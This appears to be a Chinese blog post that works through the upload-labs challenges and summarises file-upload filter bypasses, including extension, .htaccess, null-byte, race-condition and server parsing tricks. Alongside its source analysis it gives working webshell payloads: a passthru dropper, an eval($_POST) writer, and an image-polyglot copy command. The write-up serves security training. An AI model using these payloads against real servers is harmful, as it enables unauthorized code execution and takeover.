Sky's blog

Upload-labs&Upload Bypass Summarize

Word count: 2,742 / Reading time: 12 min
2018/08/16 Share

前言

暑假闲着也是闲着,去年这个时候刷完了sqli-labs,今年想着来刷一下upload-labs
而这次重点不在于题解,而在于总结与归纳
首先我们得明确一点,即上传的过程

而burp的位置在

前端校验

对于前端的校验,上述流程图已经很清晰了,抓包即可破解,所以说前端的校验只能用于提示用户,想要保住安全性是自欺欺人的一种方式
例如upload-labs的Pass-01

Pass-01

第一关没有什么好说的,只是一个javascript的检测
而js的检测只能位于client,所以这里利用burp抓包改包就可以绕过,不需要分析了
甚至可以

改掉这里的checkFile()即可

后端代码校验

在对上传的文件进行分析的时候,后端的php代码的不严谨,过滤不严格将会引起各种突破方式
下面以upload-labs的题进行分析
Pass-02:content-type问题
Pass-03:黑名单绕过(pht,phtml,phps…..)
Pass-04:.htaccess上传
Pass-05:后缀大小写问题
Pass-06:空格未过滤问题
Pass-07:dot处理不严谨
Pass-08:::$DATA
Pass-09:Pass-06与Pass-07的组合使用
Pass-10:双写后缀绕过问题
Pass-11:%00截断问题(get)
Pass-12:0x00截断问题(post)
这里我选择从源码分析,而非黑盒测试
因为一些上传的trick想必大家都见过,但是为什么这样可以绕过,这就需要从源码分析
知其然,知其所以然。

Pass-02

我们分析关键的代码

1
2
3
4
5
6
7
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
$is_upload = true;
}

可以看到,这里只校验了http header里的content-type,同样抓包修改即可bypass

Pass-03

还是关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}

不难看到这里使用的是黑名单模式
而过滤非常的少

1
$deny_ext = array('.asp','.aspx','.php','.jsp');

所以我们利用的方法有多种,但是有先决条件

solution1

首先如果apache httpd.conf中有如下一句

1
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

等等
那么我们可以更改后缀名绕过

solution2

如果发现并不能解析

1
phtml .phps .php5 .pht......

那么我们还能尝试使用.htaccess
这里需要

1
2
1.mod_rewrite模块开启
2.AllowOverride All

方法:
在apache下http.conf改配置:

1
2
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so

然后上传的.htaccess方式也是多样的
1.上传内容为

1
2
3
<FilesMatch "sky233">
SetHandler application/x-httpd-php
</FilesMatch>

此时即可上传sky233
内容可被解析为.php
2.上传内容为

1
AddType application/x-httpd-php .jpg

此时即可上传sky233.jpg
内容可被解析为.php

Pass-04

关键过滤

1
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

可以看到依旧没有

1
.htaccess

所以利用上述该类方法,可以有效绕过

Pass-05

将代码与第4题相比对

明显发现多了一个

1
.htaccess

并且没有将文件后缀转小写的代码了
于是这里显然可以用大小写绕过,例如Php

Pass-06

继续与第五题比对

发现第六题删去了将文件名前后去空格的操作
所以可以利用

1
123.php(空格)

去绕过

Pass-07

继续和第六题比对(左6右7)

发现没有去处文件末尾的点的操作了
于是利用

1
sky.php.

可以绕过

Pass-08

左8右7
发现这里删掉了::$DATA的限制

漏洞参考

1
https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream

所以使用

1
sky.php::$DATA

即可

Pass-09

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . '/' . $file_name;
$is_upload = true;
}

虽然有去末位点和去首位空格的操作
但是并不是循环处理的
所以可以这样构造

1
sky.php. .

这样经过一轮处理后,变为

1
sky.php.

剩下的道理如同Pass-07一样
可以轻松绕过

Pass-10

关键代码如下

1
2
3
4
5
6
7
8
9
10
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) {
$img_path = UPLOAD_PATH . '/' .$file_name;
$is_upload = true;
}

我们发现关键点位于

1
$file_name = str_ireplace($deny_ext,"", $file_name);

代码并未循环过滤,于是存在

1
sky.pphphp

这样的绕过

Pass-11

代码关键点在于

1
2
3
4
5
6
7
8
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;

我们容易发现关键点

1
2
3
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;

这里的路径我们可控

1
$_GET['save_path']

于是不难想到利用

1
../upload/sky.php

这样的payload
但是后面会自动拼接后缀
于是想到常见的%00截断即可
payload

1
../upload/sky.php%00

Pass-12


只是单纯的改成了post形式
不再做多余的分析

图片渲染解析问题

确保用户上传的是真实图片而非恶意文件,图片的解析也是一个重要的问题
但这里一般需要打组合拳
即利用文件包含/php伪协议+图片上传
而这里只要求我们上传带有小马的图片即可
Pass-13:unpack()
Pass-14:getimagesize()
Pass-15:exif_imagetype()
Pass-16:imagecreatefromjpeg()
以上函数基本上用图片隐写就可以bypass

1
copy normal.jpg /b + shell.php /a webshell.jpg

或是jpg图片FFD9后加小马

Pass-13


这里的任务是要求传一个带有小马的图片

这里简单的添加到jpg图片末位FFD9后就行了
但这里的利用一般要配合文件包含,但是题目的要求到这里就结束了

Pass-14

利用

1
2
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);

获取图像类型,绕过方法同Pass-13

Pass-15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

这里用了exif_imagetype()去判断文件类型
同样用Pass-13的方法可以绕过

Pass-16

1
2
3
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";}

这里使用了imagecreatefromjpeg()来判断文件类别
同样可用Pass-13的方法绕过

条件竞争问题

有时候你上传的文件,服务端会将其删除或是重命名
这里就需要用到条件竞争的方式
方式也很简单
即用Burp不断上传,再用burp不断访问
一般常见的上传内容为

1
<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

这样在你访问到的同时,就会在当前目录写下一个shell,下次就不用竞争利用了
这里有一道很经典的题目(N1CTF-hard php)

1
http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/

利用phpinfo中上传的tmp文件,条件竞争,进行文件包含,getshell
以及PHP_SESSION_UPLOAD_PROGRESS的条件竞争,包含getshell的问题

1
http://skysec.top/2018/03/12/N1CTF-2018-Web/#easy-php

这里额外提一句:对于条件竞争,有时候存在非预期
例如:

1
-a

同样出自N1CTF(hard-php)

1
https://xz.aliyun.com/t/2148

这样的文件一般情况无法删除的问题
还有比较常用的可让unlink不运行

1
/.

绕过的问题

PHP底层问题

Pass-19

关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}
}

这里可以直接使用

1
sky.php/.

去绕过

访问

具体原因来自于

1
move_uploaded_file()

该函数会递归删除文件名最后的/.
详细分析可看

1
2
http://wonderkun.cc/index.html/?p=626
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

类似的函数,上述师傅的blog已经有提及,我就不再赘述,毕竟他们都是跟过底层的大佬XD

畸形解析

上述方法都不行?试试畸形解析吧!

IIS 6.0

IIS 6.0解析利用方法有三种:
1.目录解析
建立xx.asp为名称的文件夹,将asp文件放入,访问/xx.asp/xx.jpg,其中xx.jpg可以为任意文件后缀,即可解析
2.文件解析
后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)
3.默认解析
IIS6.0 默认的可执行文件除了asp还包含这三种
/wooyun.asa
/wooyun.cer
/wooyun.cdx

IIS 7.0/7.5

在正常图片URL后添加 /.php
小马如下

1
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>

Apache

后缀解析:test.php.x1.x2.x3
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析
test.php.x1.x2.x3则会被解析为php

Nginx<8.03

法1:同IIS 7.0/7.5
法2:xxx.jpg%00.php

后记

上传的可能存在的问题有很多,由于入行未深,浅尝辄止,若各位大佬有更好的奇淫技巧,敬请补充!

参考链接

http://www.sostan.com/hk/webhackiis7/
http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
https://xz.aliyun.com/t/2148
https://github.com/LandGrey/upload-labs-writeup
https://blog.csdn.net/u010726042/article/details/78037696
http://wonderkun.cc/index.html/?p=626
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

CATALOG
  1. 1. 前言
  2. 2. 前端校验
    1. 2.1. Pass-01
  3. 3. 后端代码校验
    1. 3.1. Pass-02
    2. 3.2. Pass-03
      1. 3.2.1. solution1
      2. 3.2.2. solution2
    3. 3.3. Pass-04
    4. 3.4. Pass-05
    5. 3.5. Pass-06
    6. 3.6. Pass-07
    7. 3.7. Pass-08
    8. 3.8. Pass-09
    9. 3.9. Pass-10
    10. 3.10. Pass-11
    11. 3.11. Pass-12
  4. 4. 图片渲染解析问题
    1. 4.1. Pass-13
    2. 4.2. Pass-14
    3. 4.3. Pass-15
    4. 4.4. Pass-16
  5. 5. 条件竞争问题
  6. 6. PHP底层问题
    1. 6.1. Pass-19
  7. 7. 畸形解析
    1. 7.1. IIS 6.0
    2. 7.2. IIS 7.0/7.5
    3. 7.3. Apache
    4. 7.4. Nginx<8.03
  8. 8. 后记
  9. 9. 参考链接